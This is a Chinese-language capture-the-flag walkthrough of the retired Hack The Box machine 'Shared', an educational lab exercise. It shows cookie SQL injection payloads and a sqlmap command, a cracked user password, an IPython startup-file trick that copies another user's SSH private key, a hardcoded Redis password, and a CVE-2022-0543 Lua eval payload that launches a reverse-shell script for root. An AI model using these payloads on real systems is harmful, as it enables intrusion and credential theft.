概述 (Overview)
HOST: 10.10.11.172
OS: Linux
发布时间: 2022-07-23
完成时间: 2022-07-29
机器作者: Nauten
困难程度: Medium
机器状态: Retired
MACHINE TAGS: #SQLi #CommandInjection #Redis
攻击链 (Kiillchain)
HTB 关于 Shared
Shared 是一个 Medium 难度的 Linux 机器,其特点是通过一个 Cookie SQL
注入可以得到一个立足点,然后通过逆向分析 Golang 二进制文件并利用两个 CVE
获得 root shell 来升级权限。
枚举(Enumeration)
使用 Nmap 工具对目标服务器暴漏端口进行枚举。
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://shared.htb
443/tcp open https
| http-cisco-anyconnect:
|_ ERROR: Failed to connect to SSL VPN server
| tls-nextprotoneg:
| h2
|_ http/1.1
| tls-alpn:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Issuer: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-03-20T13:37:14
| Not valid after: 2042-03-15T13:37:14
| MD5: fb0b 4ab4 9ee7 d95d ae43 239a fca4 c59e
|_SHA-1: 6ccd a103 5d29 a441 0aa2 0e32 79c4 83e1 750a d0a0
|_http-title: Did not follow redirect to https://shared.htb
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
从结果中得到服务器的 Web 应用域名为 shared.htb
,对外暴漏的端口也很少。
Port 443 - shared.htb
先将域名加入 hosts
文件,使用浏览器访问能看到一个购物站。
简单浏览下功能, 能在购物车页面下发现新的二级域名 checkout.shared.htb
立足点(Foothold)
将二级域名加入 hosts
文件,浏览器访问能看到账单卡支付页面。
通过观察页面发送的交互请求,发现数据是存储在 Cookie 中进行跨域名传递的。开启 burp 抓取请求包进行参数漏洞枚举,简单测试后发现存在 SQL 注入漏洞。
正常 Cookie 请求,页面数值显示正常
修改 Cookie 请求内容,页面数值显示错误
修改 Cookie 请求内容,通过 SQL 注入语句验证查询
接下来就简单了,构建 SQL 查询 Payload 获取数据库中 user 表中的数据。
http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"53GG2EF8' order by 3 -- \":\"2\"}" --verify=false
http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,2,3 -- \":\"2\"}" --verify=false
http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,(select database()),3 -- \":\"2\"}" --verify=false
http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='checkout'),3 -- \":\"2\"}" --verify=false
http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='checkout'),3 -- \":\"2\"}" --verify=false
除了上面的手工注入外,也可以使用 SQLMAP 工具直接跑数据。
sqlmap -u "https://checkout.shared.htb/" --cookie "custom_cart={"*":"1*","*":"1"}" -batch --level=5
...snip...
database: checkout
version: 10.5.15-MariaDB-0+deb11u1
tables: user,product
user.column: id,username,password
james_mason:fc895d4eddc2fc12f995e18c865cf273
// md5明文查询
Soleil101 (james_mason)
成功使用 Soleil101
口令密码成功登录服务器,拿到立足点。
横向移动(Lateral Movement)
当前 shell 的 home 目录下并没有 user flag,需要想办法横移到 dan_smith
用户下查看。
james_mason@shared:/home/dan_smith$ ls -lsh
total 4.0K
4.0K -rw-r----- 1 root dan_smith 33 Jul 29 00:36 user.txt
运行 id
命令 发现 dan_smith
用户多了个 developer
组,直接 find 命令全局搜索下发现对 /opt/scripts_review
文件夹有读写权限,但目录中没有内容。
james_mason@shared:/var/www$ find / -group developer 2>/dev/null
/opt/scripts_review
james_mason@shared:/var/www$ ls /opt/scripts_review/
james_mason@shared:/var/www$ ls -la /opt/scripts_review/
total 8
drwxrwx--- 2 root developer 4096 Jul 14 13:46 .
drwxr-xr-x 3 root root 4096 Jul 14 13:46 ..
james_mason@shared:/var/www$
在没有获得更多信息的前提下,将 pspy 工具传递至目标服务器运行监听计划任务,发现 dan_smith
用户会定时 ipython。
查看 github 中的 IPython 描述:IPython(Interactive Python)是一种用于多种编程语言的交互式计算的命令 shell,最初是为 Python 编程语言开发的,它提供内省、富媒体、shell 语法、制表符补全和历史记录等功能。
随后在官方库的 security 中能够找到一个历史漏洞,该漏洞允许一个用户以另一个用户身份运行代码。
https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x
参考 Payload 进行修改,将 dan_smith
用户的 ssh 私钥提取出来。
mkdir -m 777 /opt/scripts_review/profile_default
mkdir -m 777 /opt/scripts_review/profile_default/startup
echo "import os; os.system('cat ~/.ssh/id_rsa > /tmp/rsa')" > /opt/scripts_review/profile_default/startup/foo.py
等待定时任务执行后成功获取私钥,使用该私钥成功完成用户横移。
james_mason@shared:~$ cat /tmp/rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwE...snip...JlZAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
权限提升(Privilege Escalation)
发现 dan_smith
用户有一个 sysadmin
组,继续使用 find 查询全局文件,发现有一个 redis_connector_dev
二进制程序。
dan_smith@shared:/var/www/shared.htb/ps/config$ groups
dan_smith developer sysadmin
dan_smith@shared:/var/www/shared.htb/ps/config$ find / -group sysadmin 2>/dev/null
/usr/local/bin/redis_connector_dev
简单执行该二进制程序发现输出了 redis info
详情,直接连接是需要口令的 NOAUTH Authentication required
。将文件下载到 kali 上进行分析,使用 DiE
查壳能获知是 go amd64
程序,接着使用 IDA 载入后查看发现 Redis 连接密码 F2WHqJUz2WEz=Gqq
。
根据 Redis 版本查询历史漏洞发现存在 CVE-2022-0543,允许执行 Lua 脚本进行任意代码执行。
验证下文章中的 Payload 确认漏洞存在。
接着就简单了,直接创建一个反弹 shell 的 bash 脚本赋值执行权,利用 lua 脚本执行成功拿到 root shell。
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash /home/dan_smith/shell.sh", "r"); local res = f:read("*a"); f:close(); return res' 0